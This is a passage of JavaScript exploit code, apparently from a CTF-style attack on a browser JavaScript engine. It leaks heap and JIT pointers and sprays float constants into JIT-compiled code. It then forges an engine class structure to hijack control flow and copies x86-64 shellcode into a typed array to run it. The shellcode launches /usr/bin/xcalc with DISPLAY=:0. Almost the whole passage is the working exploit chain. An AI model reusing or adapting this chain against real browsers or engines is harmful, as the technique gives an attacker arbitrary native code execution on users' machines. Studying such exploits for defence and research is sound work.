aa.reverse()

grp_ptr = read(aa) 
grp_ptr.reverse()
print1(grp_ptr)
grp_ptr.reverse()


buf[7].func = function func() {
  const magic = 4.183559446463817e-216;

  const g1 = 1.4501798452584495e-277
  const g2 = 1.4499730218924257e-277
  const g3 = 1.4632559875735264e-277
  const g4 = 1.4364759325952765e-277
  const g5 = 1.450128571490163e-277
  const g6 = 1.4501798485024445e-277
  const g7 = 1.4345589835166586e-277
  const g8 = 1.616527814e-314
}


for (i=0;i<100000;i++) buf[7].func()



slots_ptr = read(slots)
slots_ptr.reverse()
print1(slots_ptr)
slots_ptr.reverse()

func_ptr = read(slots_ptr)
func_ptr[6]=0
func_ptr[7]=0
func_ptr.reverse()
print1(func_ptr)
func_ptr.reverse()

func_ptr.reverse()

add(func_ptr,new data("0x30"))
func_ptr.reverse()

func_ptr.reverse()
print1(func_ptr)
func_ptr.reverse()

jit_ptr=read(func_ptr);
jit_ptr.reverse()
print1(jit_ptr)
jit_ptr.reverse()

jitaddr = read(jit_ptr);


jitaddr[0]=0
jitaddr[1]=jitaddr[1] & 0xf0

jitaddr.reverse()
print1(jitaddr)
jitaddr.reverse()

jitaddr.reverse()
sub(jitaddr,new data("0xff0"))
jitaddr.reverse()

for(j=0;j<3;j++){
  asdf = read_n(jitaddr,new data("0xff0"))
  offset=-1;
  for (var i =0;i<0xff0;i++)
  {
    if (asdf[i]==0x37 && asdf[i+1]==0x13 && asdf[i+2]==0x37 && asdf[i+3]==0x13 && asdf[i+4]==0x37 && asdf[i+5]==0x13 && asdf[i+6]==0x37 && asdf[i+7]==0x13){
      offset=i;
      break
    }
  }

 
  if(offset!=-1)
    break

  jitaddr.reverse()
  add(jitaddr,new data("0xff0"))
  jitaddr.reverse()
}

offset = offset+8+6 
jitaddr.reverse()
add(jitaddr,new data(offset.toString(16)))
jitaddr.reverse()
console.log(offset);


jsClass = read_n(grp_ptr,new data("0x30"));

name = jsClass.slice(0,8)
flags = jsClass.slice(8,16)
cOps = jsClass.slice(16,24)
spec = jsClass.slice(24,32)
ext = jsClass.slice(40,48)
oOps = jsClass.slice(56,64)

group.reverse()
add(group,new data("0x60"))
group.reverse()

eight = new data("0x8")

function addEight()
{
  group.reverse()
  add(group,eight)
  group.reverse()
}


function write1(addr,value){
    for (var i=0;i<8;i++)
      changer[i]=addr[i]
    
    for (var i=0;i<8;i++)
      leaker[i]=value[i]
}


backingbuffer = group.slice(0,8)

oops = group.slice(0,8)
oops.reverse()
add(oops,new data("0x30"))
oops.reverse()

write1(group,name)
addEight()
write1(group,flags)
addEight()
write1(group,oops)
addEight()
write1(group,spec)
addEight()
write1(group,ext)
addEight()
write1(group,oOps)
addEight()


write1(group,jitaddr)

sc_buffer = new Uint8Array(0x1000);
buf[7].asdf=sc_buffer


slots_ptr.reverse()
add(slots_ptr,eight)
slots_ptr.reverse()

sc_buffer_addr = read(slots_ptr)
sc_buffer_addr[6]=0
sc_buffer_addr[7]=0


sc_buffer_addr.reverse()
add(sc_buffer_addr,new data("0x38"))
sc_buffer_addr.reverse()


ptr = read(sc_buffer_addr)

ptr.reverse()
print1(ptr)
ptr.reverse()

ptr.reverse()
ss=inttod(ptr)
ptr.reverse()


sc = [72, 141, 61, 73, 0, 0, 0, 72, 49, 246, 86, 87, 84, 94, 72, 49, 210, 82, 72, 141, 21, 87, 0, 0, 0, 82, 84, 90, 176, 59, 15, 5, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 47, 117, 115, 114, 47, 98, 105, 110, 47, 120, 99, 97, 108, 99, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 68, 73, 83, 80, 76, 65, 89, 61, 58, 48, 0]


for(var i=0;i<sc.length;i++)
  sc_buffer[i]=sc[i]

write1(aa,backingbuffer)

buf[7].jjj=ss